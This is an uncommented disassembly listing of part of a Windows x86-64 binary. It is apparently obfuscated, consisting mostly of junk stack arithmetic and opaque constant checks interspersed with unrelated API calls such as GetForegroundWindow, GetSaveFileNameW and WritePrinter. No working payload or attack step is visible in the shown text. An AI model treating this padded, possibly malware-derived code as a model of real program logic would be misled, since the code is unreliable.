call fcn.14012e470
nop
jmp 0x14000acc3
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
jmp 0x14000acda
mov rcx, qword [rsp + 0x61f0]
call qword [sym.imp.USER32.dll_DrawMenuBar]
mov dword [rsp + 0x355c], eax
lea rax, [rsp + 0x60b8]
mov qword [rsp + 0x6228], rax
cmp dword [rsp + 0x353c], 0xb120
jae 0x14000b2e7
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [0x140147004]
add eax, ecx
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x160]
or eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x15d]
sar eax, cl
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15a]
shl eax, cl
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3034]
mov ecx, dword [rsp + 0x34bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6220]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x160]
add eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xd88]
and eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6170]
mov qword [rsp + 0x6230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x60b8], rax
mov eax, dword [rsp + 0x34bc]
movzx ecx, al
mov eax, dword [rsp + 0x3034]
shl eax, cl
mov dword [rsp + 0x348c], eax
mov eax, dword [rsp + 0x3240]
mov ecx, dword [rsp + 0x3468]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x34dc], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
or eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xe18], ax
mov eax, dword [rsp + 0x353c]
add eax, 0x27
mov dword [rsp + 0x353c], eax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x6220]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x61e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [0x140147004], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov word [rsp + 0xe14], ax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6150]
mov qword [rsp + 0x6238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6238]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x61d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
or eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
jmp 0x14000acea
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe20]
and eax, ecx
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xe0c]
add ecx, edx
cmp eax, ecx
jg 0x14000b464
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov dword [rsp + 0x3570], eax
cmp dword [rsp + 0x3570], 0
je 0x14000b337
jmp 0x14000b412
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x6240], rax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, word [rsp + 0xe0c]
mov dword [rsp + 0x3574], eax
cmp dword [rsp + 0x3574], 0x13a
je 0x14000b38a
jmp 0x14000b410
mov rax, qword [rsp + 0x61e0]
mov qword [rsp + 0x6248], rax
movabs rax, 0x954b2891785786e4
cmp qword [rsp + 0x6248], rax
je 0x14000b3b0
jmp 0x14000b3f4
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe14], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
call fcn.14012ca40
nop
jmp 0x14000b410
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34dc], eax
jmp 0x14000b464
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
lea rcx, [rsp + 0x1ad60]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x3578], eax
mov rax, qword [rsp + 0x6170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rax]
call fcn.14012d3c0
nop
mov rax, qword [rsp + 0x61a0]
mov ecx, dword [rsp + 0x3034]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34cc]
sub eax, 2
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
or eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [0x140147004]
sar eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
and eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60c0]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34bc]
movzx ecx, al
mov eax, dword [rsp + 0x3034]
shr eax, cl
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6108]
mov qword [rsp + 0x6250], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
cmp dword [rsp + 0x34cc], 0xc1c4
jae 0x14000b464
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe1c]
mov dword [rsp + 0x357c], eax
cmp dword [rsp + 0x357c], 0
je 0x14000b7a0
cmp dword [rsp + 0x357c], 0x3f45
je 0x14000b7fe
jmp 0x14000b921
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x6258], rax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x349c], eax
lea rax, [rsp + 0x5d58]
mov qword [rsp + 0x6260], rax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x61d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3034], eax
jmp 0x14000b921
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
mov dword [rsp + 0x3580], eax
cmp dword [rsp + 0x3580], 0x6452
je 0x14000b82f
cmp dword [rsp + 0x3580], 0x6e69
je 0x14000b852
jmp 0x14000b921
mov rax, qword [rsp + 0x6258]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [section..data], al
jmp 0x14000b921
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3568]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14000b8cb
lea r9, [rsp + 0x6268]
lea r8, [rsp + 0x61a0]
lea rdx, [rsp + 0x61e0]
mov rcx, qword [rsp + 0x61b0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x3584], eax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
shl eax, cl
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
jmp 0x14000b921
mov rax, qword [rsp + 0x61a0]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3034]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000b921
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sar eax, cl
mov byte [rsp + 0x15f], al
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x61d0], rax
mov rax, qword [rsp + 0x6150]
mov ecx, dword [rsp + 0x3568]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3468]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14012bc6e
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
movzx eax, word [rsp + 0xe18]
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe14], ax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe24]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x61a0]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34fc], eax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x61d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6128]
mov qword [rsp + 0x6270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6270]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x34f8]
add eax, 0xe5
mov dword [rsp + 0x34f8], eax
mov rax, qword [rsp + 0x6148]
movzx ecx, al
mov rax, qword [rsp + 0x6130]
shl rax, cl
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x61d8]
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe24]
add eax, ecx
mov word [0x140147004], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe20], ax
cmp dword [rsp + 0x34f8], 0x78a7
jbe 0x14000b980
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov dword [rsp + 0x3588], eax
cmp dword [rsp + 0x3588], 0x5fb264eb
je 0x14000bd10
jmp 0x14000bd58
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
sar eax, cl
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6150]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x160]
mov rax, qword [rsp + 0x60d0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
jmp 0x14000bf51
mov rax, qword [rsp + 0x6258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
shl eax, cl
mov byte [rsp + 0x15e], al
movsx eax, word [rsp + 0xe10]
mov dword [rsp + 0x358c], eax
cmp dword [rsp + 0x358c], 0x415
je 0x14000bd95
jmp 0x14000be1b
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x61e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
lea r9, [rsp + 0x61a8]
mov r8d, 0x73
lea rdx, [rsp + 0x6130]
mov rcx, qword [rsp + 0x6278]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3510], eax
mov rdx, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x61e0]
call fcn.14012d3c0
nop
jmp 0x14000bf51
mov eax, dword [rsp + 0x34bc]
mov dword [rsp + 0x3590], eax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6240]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x60f8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000bf3c
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov dword [rsp + 0x3594], eax
cmp dword [rsp + 0x3594], 0
je 0x14000be9c
jmp 0x14000bf1b
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x6280], rax
movzx eax, word [rsp + 0xd88]
mov dword [rsp + 0x3598], eax
cmp dword [rsp + 0x3598], 0x747
je 0x14000becd
jmp 0x14000bf19
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xe10], ax
lea rcx, [rsp + 0x1a630]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x6090], rax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
jmp 0x14000bf3a
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
jmp 0x14000bf51
mov rcx, qword [rsp + 0x6288]
call qword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe24], ax
cmp dword [rsp + 0x3544], 0x1d93
jae 0x14000c432
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
or eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6130]
shl rax, cl
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6198]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3568], eax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x6260]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
sub eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x6220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6228]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
